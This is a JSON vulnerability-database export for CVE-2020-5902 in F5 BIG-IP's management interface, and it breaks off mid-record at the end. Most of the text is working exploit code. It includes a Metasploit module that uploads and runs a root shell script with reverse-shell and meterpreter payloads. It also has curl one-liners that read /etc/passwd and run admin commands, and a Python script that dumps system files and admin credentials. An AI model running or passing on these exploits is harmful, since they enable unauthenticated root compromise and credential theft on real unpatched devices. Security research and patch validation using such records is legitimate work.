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{"id": "1337DAY-ID-34652", "vendorId": null, "type": "zdt", "bulletinFamily": "exploit", "title": "F5 BIG-IP TMUI Directory Traversal / File Upload / Code Execution Exploit", "description": "", "published": "2020-07-07T00:00:00", "modified": "2020-07-07T00:00:00", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 10.0, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, "href": "https://0day.today/exploit/description/34652", "reporter": "metasploit", "references": [], "cvelist": ["CVE-2020-5902"], "immutableFields": [], "lastseen": "2021-12-02T09:27:35", "viewCount": 154, "enchantments": {"dependencies": {"references": [{"type": "attackerkb", "idList": ["AKB:7CB9D781-D42B-49AD-8368-7833414FD76A", "AKB:E88B8795-0434-4AC5-B3D5-7E3DAB8A60C1"]}, {"type": "cert", "idList": ["VU:290915"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2020-0628"]}, {"type": "cisa", "idList": ["CISA:3219D2E89DB1680D9EF6F22691FC5829"]}, {"type": "cve", "idList": ["CVE-2020-5902"]}, {"type": "dsquare", "idList": ["E-709"]}, {"type": "exploitdb", "idList": ["EDB-ID:48642", "EDB-ID:48643", "EDB-ID:48711"]}, {"type": "githubexploit", "idList": ["067A6222-57A8-52E2-887C-CA7ED4D9A4F4", "0FE94331-DF7E-5791-BE22-DD1DF78E5A3C", "1348D3BB-7C57-5B0C-9B6B-EE26F534D536", "1504582F-1A1E-5CA1-A07C-FB05DECB01A9", "152D4F4D-1599-54AE-9A00-A593A379AE0A", "21D540EC-C4D0-5076-92B2-AA746AF7AEE4", "26F1DC1C-5D5D-5D8B-8DDB-890968225F0B", "28F1E5F0-F489-559C-A1C3-C14BC0D51B93", "2BE2BF2C-B78F-5C34-A4D4-484F0E6B6D9C", "2D3AD059-4772-527B-A78C-724AFA1B109F", "350E6199-FA83-5A2F-91D3-19E2D2921801", "36AAE05E-CAAA-5F55-AA88-65599F1EAA1C", "431446A1-D76F-5889-BBDD-1C55456A4D73", "4577EA1C-992F-5AA5-86B6-9749FBDFC45D", "49D58681-03E3-5607-8475-366F990C3706", "4B25D88E-3B3F-5756-B942-7244492EB7F4", "4C03A6F0-84D7-565A-B0D8-DE45D804A835", "5562A10B-A754-5E2C-9FCA-88EA38C98CBD", "5B55C912-08F2-542D-B6F4-EE8AF664AEAC", "6102FE6D-37F6-572D-8877-F3A0D49FC22D", "63D5015A-CD15-54CF-A1CB-67AEEEFFB789", "66506397-D518-518F-B4A6-3C3F99602E30", "697CC4E5-B8C5-57DA-8E6E-C44C37811757", "6A34D376-A589-5117-B34C-668A898CD6F2", "7F937E02-A1B2-5F78-B140-90BC298729D4", "88373793-9076-5F05-BDBB-635A7E1BD897", "8CBB7F58-891D-5105-B269-029C59A9C3C9", "9DA6E85F-7AF2-5EE3-BF5C-A430C8DA3C4D", "9FE15986-BAC9-5740-8189-23E26F8399D5", "A1FEA8E3-60B5-5828-A65B-98AA56545D78", "A423A009-0EEA-569D-AFFE-89EC01F7CDF7", "A8BE443F-B43C-5460-9DBF-0E7C65078EF2", "B417316F-A794-5234-BC9E-475C438FC35C", "BC6A00C7-AE9A-533B-87DE-DD27240A818C", "BE88205A-26D3-5EFE-B8CC-828EE7E33C86", "D07D56B4-40BB-511F-B7EA-EF5B1544D876", "D4308421-E113-5104-8D37-4FB75AE2D7DC", "D4572C36-FAE8-5802-9B48-CF143220B909", "D8BEFAC3-BA4E-5E7E-8553-B512E126AD53", "E2C6B714-1F75-5584-B0B3-280C3B36C014", "EA2EA382-C5B7-54EF-8547-EDDD15EA1B85", "EBF17036-7547-54B5-B0D6-B465FE6C9873", "EE2763B9-CDEA-5FAF-91CF-8B6902DD2E56", "F2165DE4-7724-559C-A733-DE9F244DA408", "F22160B4-2E80-5B7D-8238-95D7833F6D73"]}, {"type": "hackerone", "idList": ["H1:1519841"]}, {"type": "impervablog", "idList": ["IMPERVABLOG:6F67E97EF55C748CBFEE482E85D4751A"]}, {"type": "kitploit", "idList": ["KITPLOIT:4421457840699592233", "KITPLOIT:4707889613618662864"]}, {"type": "mmpc", "idList": ["MMPC:9AAC6D759E6AD62F92B56B228C39C263"]}, {"type": "mssecure", "idList": ["MSSECURE:9AAC6D759E6AD62F92B56B228C39C263"]}, {"type": "nessus", "idList": ["F5_BIGIP_SOL52145254.NASL", "F5_CVE-2020-5902.NASL"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:158333", "PACKETSTORM:158366", "PACKETSTORM:158581"]}, {"type": "ptsecurity", "idList": ["PT-2020-04"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:01C65083E501A6BAFB08FCDA1D561012", "QUALYSBLOG:66E92B63FC165BEAF707A9D6B2807033", "QUALYSBLOG:8DC9B53E981BBE193F6EC369D7FA85F8", "QUALYSBLOG:DE1FEC2B9B661D42DAA0BA398DBFD24E"]}, {"type": "securelist", "idList": ["SECURELIST:1B793FC976660636D7A37F563350F59A", "SECURELIST:355BE138D7CDD7D13D1F61F71F8406C4"]}, {"type": "talosblog", "idList": ["TALOSBLOG:07EF8115BB6D3EE80E914E6572FFCD88", "TALOSBLOG:0D782B308C337CFD06D5A38B03FC90B4"]}, {"type": "thn", "idList": ["THN:02088F21DB6E2D58FA2FBFDB5C735108", "THN:0E6CD47141AAF54903BD6C1F9BD96F44", "THN:1ED1BB1B7B192353E154FB0B02F314F4", "THN:3E9680853FA3A677106A8ED8B7AACBE6", "THN:4959B86491B72239BCAF1958D167D57D", "THN:5617A125FD4E30B9B9B0DFCEDCEB8DB2", "THN:6D6F52F8E55C98F540525853C434FD08", "THN:B95DC27A89565323F0F8E6350D24D801", "THN:BCC351AC0BA61400C97A7E529C22A518", "THN:D31DB501A57ADE0C1DBD12724D8CA44C"]}, {"type": "threatpost", "idList": ["THREATPOST:1D03F5885684829E899CEE4F63F5AC27", "THREATPOST:312E32AA4DC31CFD90D946BC7E36088B", "THREATPOST:558A7B1DE564A8E368D33E86E291AB77", "THREATPOST:71C45E867DCD99278A38088B59938B48", "THREATPOST:AD4EF56E5440159F6E37D8B403C253D7", "THREATPOST:BC4ECD6616ADCCFFD5717D0A9A0D065B", "THREATPOST:F54AECDBDA250A6122DF9A079CE7AEF3", "THREATPOST:F8F0749C57FDD3CABE842BDFEAD33452"]}, {"type": "trendmicroblog", "idList": ["TRENDMICROBLOG:3981EF309A794B1CC15F5BBC6C2B181B", "TRENDMICROBLOG:71352D2908FCBB1B73386712067E79E8"]}, {"type": "zdt", "idList": ["1337DAY-ID-34646", "1337DAY-ID-34647", "1337DAY-ID-34748"]}]}, "score": {"value": 0.1, "vector": "NONE"}, "backreferences": {"references": [{"type": "attackerkb", "idList": ["AKB:7CB9D781-D42B-49AD-8368-7833414FD76A", "AKB:E88B8795-0434-4AC5-B3D5-7E3DAB8A60C1"]}, {"type": "cert", "idList": ["VU:290915"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2020-0628"]}, {"type": "cisa", "idList": ["CISA:3219D2E89DB1680D9EF6F22691FC5829"]}, {"type": "cve", "idList": ["CVE-2020-5902"]}, {"type": "dsquare", "idList": ["E-709"]}, {"type": "exploitdb", "idList": ["EDB-ID:48642", "EDB-ID:48643"]}, {"type": "githubexploit", "idList": ["067A6222-57A8-52E2-887C-CA7ED4D9A4F4", "0FE94331-DF7E-5791-BE22-DD1DF78E5A3C", "1348D3BB-7C57-5B0C-9B6B-EE26F534D536", "1504582F-1A1E-5CA1-A07C-FB05DECB01A9", "152D4F4D-1599-54AE-9A00-A593A379AE0A", "21D540EC-C4D0-5076-92B2-AA746AF7AEE4", "26F1DC1C-5D5D-5D8B-8DDB-890968225F0B", "28F1E5F0-F489-559C-A1C3-C14BC0D51B93", "2BE2BF2C-B78F-5C34-A4D4-484F0E6B6D9C", "2D3AD059-4772-527B-A78C-724AFA1B109F", "350E6199-FA83-5A2F-91D3-19E2D2921801", "36AAE05E-CAAA-5F55-AA88-65599F1EAA1C", "431446A1-D76F-5889-BBDD-1C55456A4D73", "4577EA1C-992F-5AA5-86B6-9749FBDFC45D", "49D58681-03E3-5607-8475-366F990C3706", "4B25D88E-3B3F-5756-B942-7244492EB7F4", "4C03A6F0-84D7-565A-B0D8-DE45D804A835", "5562A10B-A754-5E2C-9FCA-88EA38C98CBD", "5B55C912-08F2-542D-B6F4-EE8AF664AEAC", "6102FE6D-37F6-572D-8877-F3A0D49FC22D", "63D5015A-CD15-54CF-A1CB-67AEEEFFB789", "66506397-D518-518F-B4A6-3C3F99602E30", "697CC4E5-B8C5-57DA-8E6E-C44C37811757", "6A34D376-A589-5117-B34C-668A898CD6F2", "7F937E02-A1B2-5F78-B140-90BC298729D4", "88373793-9076-5F05-BDBB-635A7E1BD897", "8CBB7F58-891D-5105-B269-029C59A9C3C9", "9FE15986-BAC9-5740-8189-23E26F8399D5", "A1FEA8E3-60B5-5828-A65B-98AA56545D78", "A423A009-0EEA-569D-AFFE-89EC01F7CDF7", "A8BE443F-B43C-5460-9DBF-0E7C65078EF2", "B41082A1-4177-53E2-A74C-8ABA13AA3E86", "B417316F-A794-5234-BC9E-475C438FC35C", "BC6A00C7-AE9A-533B-87DE-DD27240A818C", "BE88205A-26D3-5EFE-B8CC-828EE7E33C86", "D07D56B4-40BB-511F-B7EA-EF5B1544D876", "D4308421-E113-5104-8D37-4FB75AE2D7DC", "D4572C36-FAE8-5802-9B48-CF143220B909", "D8BEFAC3-BA4E-5E7E-8553-B512E126AD53", "E2C6B714-1F75-5584-B0B3-280C3B36C014", "EA2EA382-C5B7-54EF-8547-EDDD15EA1B85", "EBF17036-7547-54B5-B0D6-B465FE6C9873", "EE2763B9-CDEA-5FAF-91CF-8B6902DD2E56", "F2165DE4-7724-559C-A733-DE9F244DA408", "F22160B4-2E80-5B7D-8238-95D7833F6D73"]}, {"type": "impervablog", "idList": ["IMPERVABLOG:6F67E97EF55C748CBFEE482E85D4751A"]}, {"type": "kitploit", "idList": ["KITPLOIT:4421457840699592233"]}, {"type": "mmpc", "idList": ["MMPC:9AAC6D759E6AD62F92B56B228C39C263"]}, {"type": "mssecure", "idList": ["MSSECURE:9AAC6D759E6AD62F92B56B228C39C263"]}, {"type": "nessus", "idList": ["F5_BIGIP_SOL52145254.NASL", "F5_CVE-2020-5902.NASL"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:158333", "PACKETSTORM:158366"]}, {"type": "ptsecurity", "idList": ["PT-2020-04"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:66E92B63FC165BEAF707A9D6B2807033"]}, {"type": "securelist", "idList": ["SECURELIST:355BE138D7CDD7D13D1F61F71F8406C4"]}, {"type": "talosblog", "idList": ["TALOSBLOG:07EF8115BB6D3EE80E914E6572FFCD88"]}, {"type": "thn", "idList": ["THN:02088F21DB6E2D58FA2FBFDB5C735108"]}, {"type": "threatpost", "idList": ["THREATPOST:312E32AA4DC31CFD90D946BC7E36088B", "THREATPOST:5D5241707AB76ED799696E37D048872A", "THREATPOST:7876640D5EC3E8FE3FE885606BBB1C6D", "THREATPOST:F54AECDBDA250A6122DF9A079CE7AEF3"]}, {"type": "trendmicroblog", "idList": ["TRENDMICROBLOG:71352D2908FCBB1B73386712067E79E8"]}, {"type": "zdt", "idList": ["1337DAY-ID-34646", "1337DAY-ID-34647"]}]}, "exploitation": null, "vulnersScore": 0.1}, "sourceHref": "https://0day.today/exploit/34652", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n\n Rank = ExcellentRanking\n\n prepend Msf::Exploit::Remote::AutoCheck\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::CmdStager\n include Msf::Exploit::FileDropper\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'F5 BIG-IP TMUI Directory Traversal and File Upload RCE',\n 'Description' => %q{\n This module exploits a directory traversal in F5's BIG-IP Traffic\n Management User Interface (TMUI) to upload a shell script and execute\n it as the root user.\n\n Versions 11.6.1-11.6.5, 12.1.0-12.1.5, 13.1.0-13.1.3, 14.1.0-14.1.2,\n 15.0.0, and 15.1.0 are known to be vulnerable. Fixes were introduced\n in 11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6, and 15.1.0.4.\n\n Tested on the VMware OVA release of 14.1.2.\n },\n 'Author' => [\n 'Mikhail Klyuchnikov', # Discovery\n 'wvu' # Analysis and exploit\n ],\n 'References' => [\n ['CVE', '2020-5902'],\n ['URL', 'https://support.f5.com/csp/article/K52145254'],\n ['URL', 'https://www.ptsecurity.com/ww-en/about/news/f5-fixes-critical-vulnerability-discovered-by-positive-technologies-in-big-ip-application-delivery-controller/']\n ],\n 'DisclosureDate' => '2020-06-30', # Vendor advisory\n 'License' => MSF_LICENSE,\n 'Platform' => ['unix', 'linux'],\n 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],\n 'Privileged' => true,\n 'Targets' => [\n [\n 'Unix Command',\n 'Platform' => 'unix',\n 'Arch' => ARCH_CMD,\n 'Type' => :unix_cmd,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'\n }\n ],\n [\n 'Linux Dropper',\n 'Platform' => 'linux',\n 'Arch' => [ARCH_X86, ARCH_X64],\n 'Type' => :linux_dropper,\n 'DefaultOptions' => {\n 'CMDSTAGER::FLAVOR' => :bourne,\n 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'\n }\n ]\n ],\n 'DefaultTarget' => 0,\n 'DefaultOptions' => {\n 'SSL' => true,\n 'WfsDelay' => 5\n },\n 'Notes' => {\n 'Stability' => [SERVICE_RESOURCE_LOSS], # May disrupt the service\n 'Reliability' => [UNRELIABLE_SESSION], # Seems a little finicky\n 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]\n }\n )\n )\n\n register_options([\n Opt::RPORT(443),\n OptString.new('TARGETURI', [true, 'Base path', '/'])\n ])\n\n register_advanced_options([\n OptString.new('WritableDir', [true, 'Writable directory', '/tmp'])\n ])\n\n # XXX: https://github.com/rapid7/metasploit-framework/issues/12963\n import_target_defaults\n end\n\n def check\n res = send_request_cgi(\n 'method' => 'POST',\n 'uri' => dir_trav('/tmui/locallb/workspace/fileRead.jsp'),\n 'vars_post' => {\n 'fileName' => '/etc/f5-release'\n }\n )\n\n unless res\n return CheckCode::Unknown('Target did not respond to check request.')\n end\n\n unless res.code == 200 && /BIG-IP release (?<version>[\\d.]+)/ =~ res.body\n return CheckCode::Safe('Target did not respond with BIG-IP version.')\n end\n\n # If we got here, the directory traversal was successful\n CheckCode::Vulnerable(\"Target is running BIG-IP #{version}.\")\n end\n\n def exploit\n create_alias\n\n print_status(\"Executing #{target.name} for #{datastore['PAYLOAD']}\")\n\n case target['Type']\n when :unix_cmd\n execute_command(payload.encoded)\n when :linux_dropper\n execute_cmdstager\n end\n\n delete_alias if @created_alias\n end\n\n def create_alias\n print_status('Creating alias list=bash')\n\n res = send_request_cgi(\n 'method' => 'POST',\n 'uri' => dir_trav('/tmui/locallb/workspace/tmshCmd.jsp'),\n 'vars_post' => {\n 'command' => 'create cli alias private list command bash'\n }\n )\n\n unless res && res.code == 200 && res.get_json_document['error'].blank?\n fail_with(Failure::UnexpectedReply, 'Failed to create alias list=bash')\n end\n\n @created_alias = true\n\n print_good('Successfully created alias list=bash')\n end\n\n def execute_command(cmd, _opts = {})\n vprint_status(\"Executing command: #{cmd}\")\n\n upload_script(cmd)\n execute_script\n end\n\n def upload_script(cmd)\n print_status(\"Uploading #{script_path}\")\n\n res = send_request_cgi(\n 'method' => 'POST',\n 'uri' => dir_trav('/tmui/locallb/workspace/fileSave.jsp'),\n 'vars_post' => {\n 'fileName' => script_path,\n 'content' => cmd\n }\n )\n\n unless res && res.code == 200\n fail_with(Failure::UnexpectedReply, \"Failed to upload #{script_path}\")\n end\n\n register_file_for_cleanup(script_path)\n\n print_good(\"Successfully uploaded #{script_path}\")\n end\n\n def execute_script\n print_status(\"Executing #{script_path}\")\n\n send_request_cgi({\n 'method' => 'POST',\n 'uri' => dir_trav('/tmui/locallb/workspace/tmshCmd.jsp'),\n 'vars_post' => {\n 'command' => \"list #{script_path}\"\n }\n }, 3.5)\n end\n\n def delete_alias\n print_status('Deleting alias list=bash')\n\n res = send_request_cgi(\n 'method' => 'POST',\n 'uri' => dir_trav('/tmui/locallb/workspace/tmshCmd.jsp'),\n 'vars_post' => {\n 'command' => 'delete cli alias private list'\n }\n )\n\n unless res && res.code == 200 && res.get_json_document['error'].blank?\n print_warning('Failed to delete alias list=bash')\n return\n end\n\n print_good('Successfully deleted alias list=bash')\n end\n\n def dir_trav(path)\n # PoC courtesy of the referenced F5 advisory: <LocationMatch \".*\\.\\.;.*\">\n normalize_uri(target_uri.path, '/tmui/login.jsp/..;', path)\n end\n\n def script_path\n @script_path ||=\n normalize_uri(datastore['WritableDir'], rand_text_alphanumeric(8..42))\n end\n\nend\n", "category": "remote exploits", "verified": true, "_state": {"dependencies": 1659988328, "score": 1659954788}, "_internal": {"score_hash": "304d20384094700c4a3ed0f7583d61f2"}}

{"packetstorm": [{"lastseen": "2020-07-08T08:52:38", "description": "", "cvss3": {}, "published": "2020-07-07T00:00:00", "type": "packetstorm", "title": "F5 BIG-IP TMUI Directory Traversal / File Upload / Code Execution", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2020-5902"], "modified": "2020-07-07T00:00:00", "id": "PACKETSTORM:158366", "href": "https://packetstormsecurity.com/files/158366/F5-BIG-IP-TMUI-Directory-Traversal-File-Upload-Code-Execution.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Remote \n \nRank = ExcellentRanking \n \nprepend Msf::Exploit::Remote::AutoCheck \ninclude Msf::Exploit::Remote::HttpClient \ninclude Msf::Exploit::CmdStager \ninclude Msf::Exploit::FileDropper \n \ndef initialize(info = {}) \nsuper( \nupdate_info( \ninfo, \n'Name' => 'F5 BIG-IP TMUI Directory Traversal and File Upload RCE', \n'Description' => %q{ \nThis module exploits a directory traversal in F5's BIG-IP Traffic \nManagement User Interface (TMUI) to upload a shell script and execute \nit as the root user. \n \nVersions 11.6.1-11.6.5, 12.1.0-12.1.5, 13.1.0-13.1.3, 14.1.0-14.1.2, \n15.0.0, and 15.1.0 are known to be vulnerable. Fixes were introduced \nin 11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6, and 15.1.0.4. \n \nTested on the VMware OVA release of 14.1.2. \n}, \n'Author' => [ \n'Mikhail Klyuchnikov', # Discovery \n'wvu' # Analysis and exploit \n], \n'References' => [ \n['CVE', '2020-5902'], \n['URL', 'https://support.f5.com/csp/article/K52145254'], \n['URL', 'https://www.ptsecurity.com/ww-en/about/news/f5-fixes-critical-vulnerability-discovered-by-positive-technologies-in-big-ip-application-delivery-controller/'] \n], \n'DisclosureDate' => '2020-06-30', # Vendor advisory \n'License' => MSF_LICENSE, \n'Platform' => ['unix', 'linux'], \n'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], \n'Privileged' => true, \n'Targets' => [ \n[ \n'Unix Command', \n'Platform' => 'unix', \n'Arch' => ARCH_CMD, \n'Type' => :unix_cmd, \n'DefaultOptions' => { \n'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping' \n} \n], \n[ \n'Linux Dropper', \n'Platform' => 'linux', \n'Arch' => [ARCH_X86, ARCH_X64], \n'Type' => :linux_dropper, \n'DefaultOptions' => { \n'CMDSTAGER::FLAVOR' => :bourne, \n'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' \n} \n] \n], \n'DefaultTarget' => 0, \n'DefaultOptions' => { \n'SSL' => true, \n'WfsDelay' => 5 \n}, \n'Notes' => { \n'Stability' => [SERVICE_RESOURCE_LOSS], # May disrupt the service \n'Reliability' => [UNRELIABLE_SESSION], # Seems a little finicky \n'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK] \n} \n) \n) \n \nregister_options([ \nOpt::RPORT(443), \nOptString.new('TARGETURI', [true, 'Base path', '/']) \n]) \n \nregister_advanced_options([ \nOptString.new('WritableDir', [true, 'Writable directory', '/tmp']) \n]) \n \n# XXX: https://github.com/rapid7/metasploit-framework/issues/12963 \nimport_target_defaults \nend \n \ndef check \nres = send_request_cgi( \n'method' => 'POST', \n'uri' => dir_trav('/tmui/locallb/workspace/fileRead.jsp'), \n'vars_post' => { \n'fileName' => '/etc/f5-release' \n} \n) \n \nunless res \nreturn CheckCode::Unknown('Target did not respond to check request.') \nend \n \nunless res.code == 200 && /BIG-IP release (?<version>[\\d.]+)/ =~ res.body \nreturn CheckCode::Safe('Target did not respond with BIG-IP version.') \nend \n \n# If we got here, the directory traversal was successful \nCheckCode::Vulnerable(\"Target is running BIG-IP #{version}.\") \nend \n \ndef exploit \ncreate_alias \n \nprint_status(\"Executing #{target.name} for #{datastore['PAYLOAD']}\") \n \ncase target['Type'] \nwhen :unix_cmd \nexecute_command(payload.encoded) \nwhen :linux_dropper \nexecute_cmdstager \nend \n \ndelete_alias if @created_alias \nend \n \ndef create_alias \nprint_status('Creating alias list=bash') \n \nres = send_request_cgi( \n'method' => 'POST', \n'uri' => dir_trav('/tmui/locallb/workspace/tmshCmd.jsp'), \n'vars_post' => { \n'command' => 'create cli alias private list command bash' \n} \n) \n \nunless res && res.code == 200 && res.get_json_document['error'].blank? \nfail_with(Failure::UnexpectedReply, 'Failed to create alias list=bash') \nend \n \n@created_alias = true \n \nprint_good('Successfully created alias list=bash') \nend \n \ndef execute_command(cmd, _opts = {}) \nvprint_status(\"Executing command: #{cmd}\") \n \nupload_script(cmd) \nexecute_script \nend \n \ndef upload_script(cmd) \nprint_status(\"Uploading #{script_path}\") \n \nres = send_request_cgi( \n'method' => 'POST', \n'uri' => dir_trav('/tmui/locallb/workspace/fileSave.jsp'), \n'vars_post' => { \n'fileName' => script_path, \n'content' => cmd \n} \n) \n \nunless res && res.code == 200 \nfail_with(Failure::UnexpectedReply, \"Failed to upload #{script_path}\") \nend \n \nregister_file_for_cleanup(script_path) \n \nprint_good(\"Successfully uploaded #{script_path}\") \nend \n \ndef execute_script \nprint_status(\"Executing #{script_path}\") \n \nsend_request_cgi({ \n'method' => 'POST', \n'uri' => dir_trav('/tmui/locallb/workspace/tmshCmd.jsp'), \n'vars_post' => { \n'command' => \"list #{script_path}\" \n} \n}, 3.5) \nend \n \ndef delete_alias \nprint_status('Deleting alias list=bash') \n \nres = send_request_cgi( \n'method' => 'POST', \n'uri' => dir_trav('/tmui/locallb/workspace/tmshCmd.jsp'), \n'vars_post' => { \n'command' => 'delete cli alias private list' \n} \n) \n \nunless res && res.code == 200 && res.get_json_document['error'].blank? \nprint_warning('Failed to delete alias list=bash') \nreturn \nend \n \nprint_good('Successfully deleted alias list=bash') \nend \n \ndef dir_trav(path) \n# PoC courtesy of the referenced F5 advisory: <LocationMatch \".*\\.\\.;.*\"> \nnormalize_uri(target_uri.path, '/tmui/login.jsp/..;', path) \nend \n \ndef script_path \n@script_path ||= \nnormalize_uri(datastore['WritableDir'], rand_text_alphanumeric(8..42)) \nend \n \nend \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/158366/f5_bigip_tmui_rce.rb.txt", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-07-08T08:52:38", "description": "", "cvss3": {}, "published": "2020-07-07T00:00:00", "type": "packetstorm", "title": "BIG-IP TMUI Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2020-5902"], "modified": "2020-07-07T00:00:00", "id": "PACKETSTORM:158333", "href": "https://packetstormsecurity.com/files/158333/BIG-IP-TMUI-Remote-Code-Execution.html", "sourceData": "`## RCE: \n \ncurl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin' \n \n## Read File: \n \ncurl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd' \n \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/158333/bigiptmui-exec.txt", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-07-28T17:51:18", "description": "", "cvss3": {}, "published": "2020-07-27T00:00:00", "type": "packetstorm", "title": "F5 Big-IP 13.1.3 Build 0.0.6 Local File Inclusion", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2020-5902"], "modified": "2020-07-27T00:00:00", "id": "PACKETSTORM:158581", "href": "https://packetstormsecurity.com/files/158581/F5-Big-IP-13.1.3-Build-0.0.6-Local-File-Inclusion.html", "sourceData": "`# Exploit Title: F5 Big-IP 13.1.3 Build 0.0.6 - Local File Inclusion \n# Date: 2019-08-17 \n# Exploit Author: Carlos E. Vieira \n# Vendor Homepage: https://www.f5.com/products/big-ip-services \n# Version: <= 13.1.3 \n# Tested on: BIG-IP 13.1.3 Build 0.0.6 \n# CVE : CVE-2020-5902 \n \n#!/usr/bin/env python \n \nimport requests \nimport sys \nimport time \nimport urllib3 \nimport json \nurllib3.disable_warnings() \n \nglobal target \n \ndef checkTarget(): \n \nr = requests.head(target + \"/tmui/login.jsp\", verify=False) \nif(r.status_code == 200): \nreturn True \nelse: \nreturn False \n \ndef checkVuln(): \n \nr = requests.get(target + \"/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd\", verify=False) \nif(r.status_code == 200): \n \ndata = json.loads(r.text) \nif(len(data['output']) > 0): \nreturn True \nelse: \nreturn False \n \nelse: \nreturn False \n \ndef leakPasswd(): \nprint(\"[+] Leaking /etc/passwd from server\") \ntime.sleep(2) \nexploit('/etc/passwd') \n \n \ndef leakHosts(): \nprint(\"[+] Leaking /etc/hosts from server\") \ntime.sleep(2) \nexploit('/etc/hosts') \n \ndef leakLicence(): \n \nprint(\"[+] Leaking /config/bigip.license from server\") \ntime.sleep(2) \nexploit('/config/bigip.license') \n \ndef leakAdmin(): \n \nprint(\"[+] Leaking admin credentials from server\") \ntime.sleep(2) \nr = requests.get(target + \"/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin\", verify=False) \nif(r.status_code == 200): \n \ndata = json.loads(r.text) \nif(len(data['output']) > 0 ): \nprint(data['output']) \nelse: \nprint(\"[X] Admin credentials not found\") \nelse: \nprint(\"[X] Fail to read file\") \n \n \ndef exploit(file): \n \nr = requests.get(target + \"/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=\" + file, verify=False) \nif(r.status_code == 200): \ndata = json.loads(r.text) \nprint(data['output']) \nelse: \nprint(\"[X] Fail to read file\") \n \ndef memoryLeak(): \nprint(\"[!] Leaking tomcat process from server\") \ntime.sleep(2) \nr = requests.get(target + \"/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/proc/self/cmdline\", verify=False) \nif(r.status_code == 200): \ndata = json.loads(r.text) \nif(len(data['output'])>0): \nprint(\"Command: \" + data['output']) \n \ndef main(host): \n \nprint(\"[+] Check target...\") \nglobal target \ntarget = \"https://\" + host \n \ncheck = checkTarget() \nif(check): \nprint(\"[~] Target is available\") \n \nvuln = checkVuln() \nif(vuln): \nprint(\"[+] Target is vulnerable!\") \n \ntime.sleep(1) \nprint(\"[~] Leak information from target!\") \ntime.sleep(1) \nleakPasswd() \nleakHosts() \nleakLicence() \nleakAdmin() \nmemoryLeak() \nelse: \nprint(\"[X] Target is't vulnerable\") \n \nelse: \nprint(\"[x] Target is unavailable\") \n \n \nif __name__ == \"__main__\": \n \nif(len(sys.argv) < 2): \nprint(\"Use: python {} ip/dns\".format(sys.argv[0])) \nelse: \nhost = sys.argv[1] \nmain(host) \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/158581/f5bigip1313006-lfi.txt", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "githubexploit": [{"lastseen": "2022-04-21T01:37:02", "description": "# CVE-2020-5902\nAuto exploit...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": 